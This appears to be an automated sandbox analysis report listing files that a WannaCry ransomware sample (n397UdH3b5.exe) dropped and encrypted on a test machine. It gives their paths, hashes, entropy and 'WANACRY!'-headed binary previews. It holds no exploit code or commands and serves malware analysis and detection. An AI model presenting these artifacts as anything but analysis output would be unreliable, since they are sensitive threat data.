                                                                                                                        Preview:WANACRY!....Hk(...m,.tD.O.Qq.r.;..~,....E!........<k.uF.+@:...M./5.Z^.X...;..[}..me.....n....IH..........g[Tp.n.H.eOm......+.3...A/..q?...i%`.<U...l......j....5.G..>..v..e_..f..._.SaiD..__..VB..k....g=.?H.d;.>....#...3.v.mkL.1K.h.u.9~.......q...M.&..yq ....tp).....$.......^#w.7..?'n.,..<o.....4"7.:...{|.qCB..k?..Ai..Z.H...q.E.7;....}Cke.KRU...(..".z...";8[.....9.......YcAgc.u.@..>f9j....Sn...i..aT.......a.?.".Z+.....u...P..^.....Bk5.$n3..'.i3....X.....YU.k...L...{.....d.=...E~2.p...6.ml3.`.2<!Z...j=..`.}..M.!==...J.&....vTq:.tV......&.~OP.J.....4.@.m^n.)8kV$......!<z$.+{!...`...Y:.....d....8#..6fzz.`[1.^.9..RB..6.h...a..D.Yq^..l.V.A.D.)..M'....= ..9.......eF(z.....:1U..E/...e#.mw.x......-C..k.q.0]....<.O.<.t....3....0\.!d....h.O.6.M.s.9.zzl.{..TE.j...gO.E-..z..P....#.+.Z.....*!.....?:......T.^.<m<.r..WmvV.....e.%.......N.A.i..f..;.....k.Q.m..../.H?J..$y"....j.v..d",......%.;....({T..>&[}..z.OC...x.i...!$.F..Pv".C.i......zrw..\.j#...9..0.j.on..`...

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\8fce0f3.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4552
                                                                                                                        Entropy (8bit):7.958988363357127
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oA71smDJrCnblthzTNizxkY5hiA/FhNx6hbVZD4EdmgsI:3sOQttTNixdhZ/FhN0pfEEdm9I
                                                                                                                        MD5:90B92259AF0DA37A621F66603AC89FDA
                                                                                                                        SHA1:52F59BF04F0B7949B11AFC7293ADCAEAB78A712B
                                                                                                                        SHA-256:FD8E0C6191C4F640FCC4DF5D20F998A0CF4B66BFA92487BE08046F4DDE774F29
                                                                                                                        SHA-512:D15CC6FD37890B90619E75662ED35A4F5A7018B5E78310727F5BED1CC2494FDD476A9553B7412417F1D08A2867949EC4B63264A86769AF09250B68E0C918BFAE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......D.:,.....$Wv...~..;....2I.v7.A..$..i.A.......f..a.8......d...}...b....{.9.I..+P.h.+....a..x2.*<Y....C.iS[......L....l.2C....7.(B7..&..tX...5..Btv...1....Y[.G.~..fMq....{.x..$.K.E..)...P.[0..C....Ou.....&._.r.R.z%..m..D(Q.7...Z.... ..'5..|..'>...................Y.t..-|YP.!...]!,...Z..7?..G.....TS.Ue...ey`..H....w.S*8..SS.;6.vP..m..I.....!...S.) ....?(y.ks.7...[%......3..Y.[....f.H..;.6n.X....Or.e.4..L4b......[..........]....JQ.Eds.......c..d.h...*m...jD...;6..E...Aw.C-!...4...&...~@.q..I]..K?@..Q).R..fG..e...z/.rPE...'.A..W...#.....+.y*y*._...z.....r1...o..0MlB.o..:ka.e.a......rp.....XaO..{.4..3.e.C....n......(......uL..<t..@.7..G.}$.....Uq..;s..>..th/..G.28...1.+F[.Ixd..[F..k.!y.:..Z....j........../i.....$.~.z/..4V...vVt.}..9 ...{...m.K.<_`..@.).B.Y...5Xg.%.;..X.5.U..K5u=`.......;Si.'.....&4..+.I....I..1.l.r..xF.?._Q.O.3..Y....>.@V....'J.H|/.{<...5.W.......j.Gp.T......l.c.....|G.........9.l..E...b?0Q.Ke.*!..M.....@.Q..y.C.r..!N..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.edb.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2097432
                                                                                                                        Entropy (8bit):7.999917476945961
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:49152:skF/g5Y1i7Qucnvncr7P6owQmu16RaOE9nuOL9Sb:skF/g5oi7QuGvncnVwpuFDnBL+
                                                                                                                        MD5:FDCD9BB1B0857608DE658D9217726E0E
                                                                                                                        SHA1:3CBC8ECB27E66F338CB471A3919CD7EE8576B5C4
                                                                                                                        SHA-256:D8587CBFE4E193EC9624EEF0629B68EB818445A97EC2B94DE6649B4128870A16
                                                                                                                        SHA-512:BE44F3838C1FCD12B416F2E1E2367B8CAE46C554FE1113317AD09847F403925FF516AEB6A07BB8DE0329081C83287C434DE4A468DC1E64768B4B0DD4138482E3
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......b..r}.......H.*B.f..n.f......"....8#...[../,.`2.R.....qb..?...,..e....1.d\>..t...,9j.[.....(... ....W.6....N...|....\.S..{(..M6c@FZ....i.n..@_.5f.O.9.e..y...y...9..{L..".*/c%.}.u..&8.....4.t3QG...h.i..q.&........#.H.....k..9R.`.....t.P.%...w...... .....3....z.....aJ...Zk.........pz.P...]...B.&t'.N.M?.'.R..."t+.....:......W..H.r..0.a`{H..I.C.>.qyM=....s....L1C'q....k....zX.....dl.!.(.>6.....B[.%...,.t.'.k.J........<wj.s.7L.wJ..t.C..;.L..h...!..G...*.J.......?5.7......J....g..R..._.]..pv..-.7...:....V........G..}Of.$...vd*5j.k..C....P.....yd..].jK.....6\.[.....o.[.CM..7.....B..:...~*.@..J.T..}!.....0...&....E..J..'\R..>.L.dw....,..#g..o..i........Yc.8...........~.^.U!At~..8.~..&...cn..6....0..`..a<.Q..n.I2L..iX....r.}).?B...*..3c.~...t..0.8..%7.z...RC.....+.g..e..C..z.i..3.U....y.W....l7....u@.Jp.......nM#.....D$(....2.Ov...`X.s2*...N|...9.9.4$..[ub.Cj.....e. 9...T..TK.[....h.2..Y ....jwNS...A%.`...Z.......:N..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2680
                                                                                                                        Entropy (8bit):7.913899852556365
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bk84Vmgtz86WAJR8t1rqrsT9PC+7Fnl2M34+h/iN7Ho+pGirr/p:oIgn5R8t1rqGJJl2M3viNDRpGirrh
                                                                                                                        MD5:FDFCEF803AB9D858C05A81BB3FD784DF
                                                                                                                        SHA1:5A1720D50AABD89854AFC46841369D32AC44527D
                                                                                                                        SHA-256:820B1AAA232E6388B48417757D50106B961A592A984C3B9271970A6BD78874EF
                                                                                                                        SHA-512:F3B919CC6E48E572C3462E3E93318971441BD04FA3767E7991D94015FA69F8C8DAA13B7B5494E2A245A9361213566C9BAEE55B265A668FD2C747B1B541ADB7F2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...._|..y.#@.r[..02..^...{.,....Ika.<dm.yD3X.W..e..;.mQ.Y 9.....P.b..._.G.......Z.f.M{...D.{Ljk>..il-..yL....X.....Gz.K..XB).. "...Q^uu.i....}...LK....f.n0p8........Jp.w.T.Sv1..a..9.<eO....L.2=..N%..m?:..U....KE.\......W....^.`3._.~4&.]W...&Tf.....Y..........@L..L.B..d..G.3..:.u0.k.W.h....'......Ux..[.....8_.(:..q..\.n..8+q....GX.'..b..;/.(2.y}Jf.hq.X..h...u.ZZ&VAR.o.......82.E.9..aY-....5........0$ ............. ..Y.IT..:CI.A.mfJ.p.....N..uS.|......z./..}1.."{)SoQ.5....m(.._CP\....B...?....m8..i.....>..5.).uK*..G..g..}-`t'....P....C.g..L....>$..X.....]R.K....."5......:....,#g...#l...>...+...."....o.q....RY;[.NEkra.8.....b...=i.....o..;.2}..V.P.?.....h.DJ...T..x....!... .Z...=..{.. ....R...`.clT..0..-..D.Mg...G...k..W..6..]...DF.Q\...iLX..@...._da.bE.....R..@....Cu.5...[...:..n.....m..o...N3.$..^f. '.H.JR....Y.9T.7w&.u.p.p........o._i^n..}.lm..8Ia..7..xx.]..A.F..0.'Eu...|.{.L|...7*.u.&g..)g. .?SU...7....._KGt.u..._.a...Q.s..a(...

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1912
                                                                                                                        Entropy (8bit):7.90174973697619
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkRdSj+Wyzd5aYHfzJu1T/iuZFvzBoLGJf7xmq4je/XFpeBXb1+/AFVjJ/6:o74zSdTzJ5uH98sfgtQX2XbKa/6
                                                                                                                        MD5:8509F686FA18A754D85606C5A5008EB6
                                                                                                                        SHA1:774253EBD97FEA75E1BF5AA338A34B8DD6EB993F
                                                                                                                        SHA-256:86DFCAAB4786856015925DE1681F5E03F110357C3051D07263DBE9876BD438AA
                                                                                                                        SHA-512:95CEAA5928EDE6F9E2701FCAAF7EF8E5B16D7C8C87E53A05913BABEBBD1920423A8C36686EC3843471CCBE1D22052D7E83ACED574262075D167EA4905EE3DBE3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....0..Z.Y....Y....a..>##..q..^..C.!v..(..7...W.A.*.Y...g.E...c..U.D.3r.Q.;....r.3..Y.6.L..M9..e....T.E.2......FS..TA.%..o..:.J.9y.!m0k..#....7o.5...H....6........4.4.. ..C..k..V..#...a.V..P.i.<.t..........a..k.....]x.oM.h.R.{Bz...lf.e"F..a...e....[......... ...z..@..>!..0..B.?N..4.ed..{.........Q..i...h(....@n....,..".,^c;....Tp..6...}.2....(.w..hgh8...L.h.............~.Gr...qt..X...L..&M...}.. ....<..98..k........'...O.J...-..k.7.df.Y.l.....w^.....!..Q..${.....#.Pj.g.o..X@@...p".,.r..5..."........pm?..c...2o..U.,$..A....D].....N.k.\.......=.o?[.K`_...F.m@....=b..&...C....T...#........W.......e...Jo.6.8..9C...)}..;......s<.g......\.`l.....d.&h.`O.s.x....6w...R........E..-*.zQ.0.9.nq....R.r..y..^.....M.j5..q..1...f.................b.x%&.yuf...}].#SG.V.|....]..J.Fw.S..T.f..v]487..u.`..o...!..!..F7"o2."e.(..$.F#.....g...d*.H.*.`}..m.fN(..0x../...5...*....%.n;d.sT.......<.......@.-.N-.O..5.+F./?.....)}>K.hliuU.j..{..^..J.`h.g;...r5

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2696
                                                                                                                        Entropy (8bit):7.940732424558798
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkZlpMiXv866i/xUccmJWC43tlrIGdK0furFJizsUACac1BwdT8k5P8:oZlpMi/866i5Ucc1CK1dvYFJiacLwdTS
                                                                                                                        MD5:60DFDC07720A74DB6467F0A048F68ACC
                                                                                                                        SHA1:86BB4613D8EFDF8C67CAEFD99532D0B3B75FDB25
                                                                                                                        SHA-256:B62449496B3F1BBFA45014B05DADCFFD9BA5C7ABABF708AA351E4A7DD6D8D627
                                                                                                                        SHA-512:8BE9D6E5412282D6E34B12F49FD4C65887833EAA715091DA5711202C0204580064D7727A35E0039ECA82E4F7FC6C98489295E3255F19AE0DE04C193117443FB8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......bX.1#..G|..6/u1....}....p...B.J....>......}..m..s.!...O.8~..v..6:1..=..`V....a..U..... .+..5..>..8.....#.t..=......[Ye..a[W.0.j3..;...pz./A./.dym.+.`LE....=.:...t...Q..1..5J%..c......[."...B!c..3..i....[E.B...\.s=..~..u..,|.pv.[.....4.>Q...;....a.......5~.4..d:}}..c*.e.....gpZ.A.m?.....Q.\.LH=.b.&..&K5H~...,yiI.7[...B...F.....XN.a.~..9.gf[.6........DHBJW....G{F.u2......'.}.1.....pp...Z.)9|\..d......\?.....KQ...p~..i.[.....;.ls\t..=.TJcc5..|.Dh....tV... ...8.2:..+:.o..$..i.K.wLm.r.....L.O..n;G|..Y.LN<...&..,....%1yE.(kv..$...Z;aF...Q)..2NOwI...R.B.. C.U.m....:.2......`".v.nER0a..&..........4......N..rY.Td.......}@..Dj..F3. w.}./@.!2X*......;/.`nB..)..z.OUm@I.w)..S_H(...../2.x.3.......]..g.%q..../...m..].... ..).xDzM..Q..S...-g....8u......He5...P..h.sAe"L..+..._....G.r.`662Y..o..z[.*.lX5....kIz..n{@.z.W.i....mk........J.`.F....,.;.....r..n%. Sq>..q*...d..8.....3.FJl.f.8.:h...M(..a....Ag9...v....u.>W8..#..(.{....B....kX.R.f....>.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.899465842498655
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkLFprNH05C1xXdJqcqvxXHlgu4OAw0knF9tQujhhq3HPr4:oLxHjscqMaokFvQ4hq3HPc
                                                                                                                        MD5:4B18F3A51989F12D19A618EE8E67D0EE
                                                                                                                        SHA1:E8FD234F5C72B7BF05AD6FAFE7A5589435B75AF8
                                                                                                                        SHA-256:775BD3A402F82D97EE3F9407432E1E8CAD5886F7817DA1ACCB03A988B4047FA4
                                                                                                                        SHA-512:48E2806DD719D6452AF72C65BE79A5262F849BE41538CA4A6489B778578500E5AC4BD7E5A5D3527A957BEEAD12978EDDD38AAC62CE3CF7303FB4D246E6733281
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......=..q.`.....>qS>.A..xcx........V..V.x(.U..1..N.......aw....=A.:.;.K......c.o.K..G .1`3.2...:.J|YZ..>..L.....P....-..,e..........B..Kq.........<L..j...$Mj-....t.............H..../...A.1RQ.+..../...5..:....}...s....N.w.<P.2.j...2..H2Q.~.i.nK.br..8....).........&..<.4y..:..'A.k;E..).HI..C.\.[.....a..$..^a.|....l...raj/t)..:.1m..;C._|..yl.p..J.....;.cW.q.8_...z...3...l...l8....%I......a.....A.b.o.*...N$H..K. $../..1<.P...-p.!.h.~..Qp*..;.e...$..H...T....i...~.!."....<.Z:&F:.x.~.....2.i..&..h...%\.S.R.._\.......{.....m....3t.e5N.w.......&t...........y.Jal.g....].L3s...L.d... }..4..X~...%X`.5`Nu..e.{7......M0...}..m...,!...S...2....Z...Da..M\u.-.C6.......]....H9TF.....c..t9..Q......[D7.hy@o~..R.l..J..W2..0.Lvts..}d..G.d.).x..;G.3^...p..b..,...;n/...mR......S.$..\...t.$.{....d.{A*.!.\.......!t.....4p.Q.?.....'..I.....jq.5.D7 ;[rD..QK.>.._G.....J/+.\^...,I.j&...7:... ..y..q....fW..ao\.......&...e.:.c....{.waZ0.K....PX....M.X.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1848
                                                                                                                        Entropy (8bit):7.889652833936058
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkp2NFTQ+P0jFuimCFJJKrs2OEoQ0jw+NuTaflIgoAZjkVQbOnDYhuHRa:oyTHGF1KY2HSj1uotByUhia
                                                                                                                        MD5:92A8BA604B02A44A6203D338A308AD0F
                                                                                                                        SHA1:A2A9D14874FCA2E8D74D8BC570D3CA0848BFE72D
                                                                                                                        SHA-256:F45E5AD919DA0928E0C195184668055F5C40256B81F69E69A787632FBB1BF8AA
                                                                                                                        SHA-512:532A9DF1AE8DD01204DE080624677E3992DD9E52E92A4F2432FACFF38FE27C232AE6A31860C3651DBB1F4F123B868157F09C1C8A55FB86821AF3B3DB20D6F449
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......b.}o.Ew.aj.m.S....!C.D(.t.QJ2R.......k;....J.7....L.....sC..$l!.~.!./Iz.+K...|....q..Ms....N..2....m.1';......1.e..I.*B.V\$.+..*.P.@.....z.....>]../...(.r.rh,6.v..a.....K..?..}......`v3N..}.....w......U...*.W".=4.%.....yGO1DA..<.TzP}..K.E...Ec.7N.................J.U/|.m.|..bpD...o.}0.. Q..".W-."..n..\D.....8.J...Xq.miL..S.E>.....GD..1(c...@......[..U..R..k5.:......SY.R.-"j..r...9............6Nb.b.&.D.../..+....I.A(.R.d'...||.E....2b2DF.V+U......R[-.W.J.../.m.(.H.<.._..|....h...x.y...'.M..V_%....@.z..[.J..?.....`.Z.9?V.#,-.3.!....3.A...A<...c./.x....(.?..M0.fUO\I.}p.......~...Q?[.....O4...(....u.T.8...5,....c.a.....E..y.w2.JBp[$.L...m3.....,..q.n...-...'I.f.]..t......T...1..xWt.=>..[.a.../.){.e.(...$..{......a.5........."..O..."..h..G..<..._..)...;:]...q..sl.....[..-.e`..\.qf...z..b..|.wi..o.W.|.\.R....].....[.v..1...m.......b...;.....4....%...$.L^E^.....n[.7-;.%.>l.91\s..&7D....'.....Z,.. F.D#...h.....]...3....#...K....k.[..n....{.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1400
                                                                                                                        Entropy (8bit):7.876005372566548
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4csW3GXl1tj+Zl8795m6uIXinZsZIZo/E3hU/a5qt3pXZJdsBwH/BKFqBd6BSA:bk4A3GfZcq66uIXinZ/o/Ex2a5QXZJdk
                                                                                                                        MD5:FB726EDA466C138B25C88E0E4D79D19C
                                                                                                                        SHA1:9A196F46739686C482E2E4B597A93D66461DA616
                                                                                                                        SHA-256:E37AA2A557CDCA8227EED7DFBAFB1C1E097287DFF0D2A5AF16EFE8C9CCB659CE
                                                                                                                        SHA-512:601B757564FED6671E6B4AA44E9C838EA3089126135B20290E8D8A7F6AC7C961D521BF01E2652060FC80CE1BBA0D40FCC6D251CDA91C461688966C9B031EC8BE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........S.Z...m:..f.....J.....x+...eF.../(...]..,#K..}.?r.e.}....6...K.~.H.|._Z....|.9@.o..\...\.P. &-P....T.Z...9....r..$....w..Bf.A...F........_3Ye.o....@.!.<a.....4.{0.e.......p.k....3.P[..'.S..F.F.E....t].k.J.>...\.$.f....F.`.'...7E.V.....2.....Y.......w.}.^.U......U.O..b.\..O..$.*U".9..^.2CO^s...)$.HTw...CV..g.F.J ..C......Dr!....iL..3B.Z.*..4(......B7.T.d.s.. ..2.......#......[.u...Xq..Q.m...(.l#@i..".......r....'D. .<....._..:...A..~nf.9....r.....Hwc.d...M\..........N...pR7...Q.X..y=..." ...nSE......h....n......L.#.FE...8.......Mn.....b.....%..xN..4...{......-.p.$..~~.,.%.`7.R..mE^.H.....-rW.R=.G>V#./ .n[4..BR".*.Y........s.g./...4...;.*..M.m..>...>..c:.e.........U...P..Ku.........Z"80s..J."=&V...Jb...R..jv.pL9F..+..H...[........U......A...C.,...~V.N.r.5a.....R.$;K.XT....wuU.(.....1.)...>..I...R..h...v.6......6....z.+.x]*.K.4.. .T.x.f...y...yF.j./.B...h....d...N.H.B.D-.j..$PE....U.=.T.8..C]R.1.WS....D.bv...G.....5'$....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1736
                                                                                                                        Entropy (8bit):7.892105770697153
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkcM2rxIEqd9Of+P2KaQo7ah2f8mxB6s1Jmtl3JcnPP/hkFpycAhsgRTmF8wY:bkcZIEqd9Of++i21xB6yAl3ymAhPRT+Y
                                                                                                                        MD5:9F6D2544A794ADF9941495F0DAFC383A
                                                                                                                        SHA1:5A3C25AE1C2B0BF71347E2DC3AF37FABF2C9EB29
                                                                                                                        SHA-256:76F387F9D9F03DF22C4DDF145A89FADF42C893233B193B48661741F63FE8A6ED
                                                                                                                        SHA-512:DBDB2B6A109E6CE437D3B6110066B78C97CE7FAD2ADD8108764CF26EF623D51D7E1A23165004B38E490147E8394F59EC0B0967723937AF403806BB32289906D0
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....bY......"BU......H...M.....1.W.@...*.'.....iP.....W8(H....}.F.S.......,B.....i..K.<]..6.d.w!v$.T..WK ~/.f.....'3.9.F.,.G :.OeK..S<(..6k"....9.uW.......N;.xz..=.,.T(^......x-o....(.....o.o.G...r.S.YS.2.d..k.d..y..I....<..+..j.....dd&.....c..s.@.T............T.../...j.Es.D.k.......F..}|<.#@..g..Q..........O.....mI..qj,...^...uk.!+..... ..,..K'.....}.v.y.. !.D.... .......&.L...g..Y..d..a...:t...#u.T.A%d.(1.n@.....r...(.mD;L.4}>INA..}J...e`.HZe...Y.S.^....:.,...;....^Ah..y.....b.7..R.v"....'.>E....tV9`<......r.K#t.PJ.sb...p.j7e..u.(.5..K.o....p.c}...B.#...../..%.../7.......9P...T.mH.Sm-}...]V....q....x.jN.q..(.....`i.s%.'.F..).yu....db\.b..Gg.8y.......[.I...*.-.....2........|%..\m*..J.:D...!..@.M?6&....#.Q..?..P..yvFl.7e.....lX.#.lo.....c...k....N<.UsY.cJ.....mnJ....2...k...9..4.d..G.f7(.r+..o...f..2.....o~....7U/..._.....3....G.Q*..R.....Of...*7l0.R.!.F... ....."...Q.....W....../. .]........A.d.#.L~.#....W...JRn.....y$sCwb..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1352
                                                                                                                        Entropy (8bit):7.82492371970695
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkSNmqgk65swwQ9GmwK0DLEAc84BLfUlcuP5GDaY00LE8o5b5pykpGAkV1Mw/Pwu:bkSBaxIm/0DQDPMP0DaYQ8ebuJ/f
                                                                                                                        MD5:C26B03B1AA81BA5E53A7445974BDB3F2
                                                                                                                        SHA1:5AD59C036D2167BBF09A8C72FF517FE8E095BD0C
                                                                                                                        SHA-256:1F5D823D6E2CBEDD4569AB6C6080FE6152F0AE4D376AD6251EFF2E2B961C8250
                                                                                                                        SHA-512:01C80B2B8F269BD82B5E2F811ED08316FF5736C01BCDF2A77F1C308C131928082FA04FB605D78121E3EB115F64B46098720F6D1AC19A425EB7D3C2A362CD690D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....W.\......-.D*c.."...D.:5u..K.Ph.(.-.8?c.^..'a.......n..4....R:K..N:J.vP.....(o.].W.."...=+!.......5-..T.tQ......CPu`u...\Xo.X...n[....x9.1.l.......C5.!}b..^..t......F.....!.;}.f9.EM._4n......N..3r.*O .P.I.q..\...e......\Gq`.=...?.V.......$.......rE2.Q..n..u.H.,OgG.i.B..uCH.K_..#.#...vn..22....gj....v(...,g..r....Y.N....@6.Zs.V.*..{.A.....T~... .N..R.^]'.....|.....b.~.z.U..Nv.8.......0J..o.v.;.].-C..-..&..t..^.&.w.....R."cC..[.......[l.!.wp...$XW.d...IB...u[.Z=w!...<0!..q.^.&'..r.......cX.).K..}"R..c..?......!T%...2..g.tE....\S..n..I&....o*.h..|<y......~rB......].hC...z.3.v.'%. ....X|...A.O.N.K..........6kny.q..f"u.2.......{.Hs....z.._e+r.u.-..Y.U...l.....#.=zdy.bsK..KK<.....E.h..9x....b...f.6#R....\..g.P<.Z......7.o..f....7.:..}X.T....r.y..d...#.GR.ohd..H... M..euC....I.K..4..+.6UU....._.Y.+..X..n..j...8.,DZ..%..p...V....s.....D..V.u.y.N>cGdv=.].!..O.V..#Q......T'.dX.....U...UMk...P.z...CBx............qm.'4..9

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask01_20_08_51_44_0048.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.778242428448377
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkJm4kIeuder6Z8LQZ5xBDkStMjRFNqzOVPhIWMN/4:bkwEecer6ZcQJBDk6MjzNqz4qd4
                                                                                                                        MD5:41F05027B0966C1B81D3812B7A4424B7
                                                                                                                        SHA1:920DD0703CA85DC1EE233FF5F7F7208E8042D494
                                                                                                                        SHA-256:24682AFFD46F4AE78A321CBCBF2A73F431DC258791812369C27C6844B77FF6D5
                                                                                                                        SHA-512:33CE43A272233C6C59E2D6D3319FDE37AAD7677DCD4017BE4248292A445FF0913C8CD7D5851B010B994FFD18FB4D0D2BE1AB1ACB62C6911033833A2488DD5361
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........8.;....cX}x.]U.cr..AI..Y..CJS0..(=sL.U[...hO....s....MA..|.....9^....v6.5.. ...V.p.v.:..M.S....8#...DtZ1.$..j...Q.qZ..`...$m..$pB.M.K..(`*J_.D'Q.2*.$;..p..r.U.w....M..).v..&....%.....;...8._[.].......'....m...1......4..TDiF.....3.P.2E.V...Rm.....C........hF.....2..2...`._.y.<X......<.ym..7>.... w4 ..V...&m.k~Q........c[4$.77.."M.2..Xi.a.[...;....]...4.......I...B.~.c...t.]..g.M...%..(...t]a.k.F..i.}........z....,.{d..&..[..P.-$...GD.`...d...s.W........Z.....lvI#"G.w..\.aK.,.tt.D..x.mA./.........o&..........*...'~.xM.....V......@..X.`nO....'.....kS....|...D....v..(@...)..y.~..@.ZC..Y....D.[.Sl._^...g..U.{..".@<.../S....nS[.G.J.S.*.6La.[.<.....3T.wj..6.=......lz.X.)..~..QI.l.Sg.......(.t..]..f..M.\.f...o...Km...Y).P.......(,$...^:.k9....b.........qO....ms..+M........^...O..!.!.Mw.....6.).;M'.N7..6.Y..oqY^

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask02_23_14_01_00_1738.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):872
                                                                                                                        Entropy (8bit):7.750485855083108
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkEPSNdPcmXmJUrlSxOgN4XycuqM0UniXBKkrk5:bkEQPcOmKBSxO1ycuqM0lUkw
                                                                                                                        MD5:49C1833DC81DB12C3F9A7FB2B8934563
                                                                                                                        SHA1:DC6B7D9E3205FAC4878CC2951D1BB32858A73FB8
                                                                                                                        SHA-256:ABAB9F0448FB412A080A6E756BF2E93E01709CA036930CCA55D0CA670235105C
                                                                                                                        SHA-512:4F90F20DC96C81D18B6A1AC7CA9CC248ABCD447732A97A931D3872A5B9FAD9122310FF98246CC21F009083B44512405CDB4F86A1D312C6CA8341EE0776136D29
                                                                                                                        Malicious:false
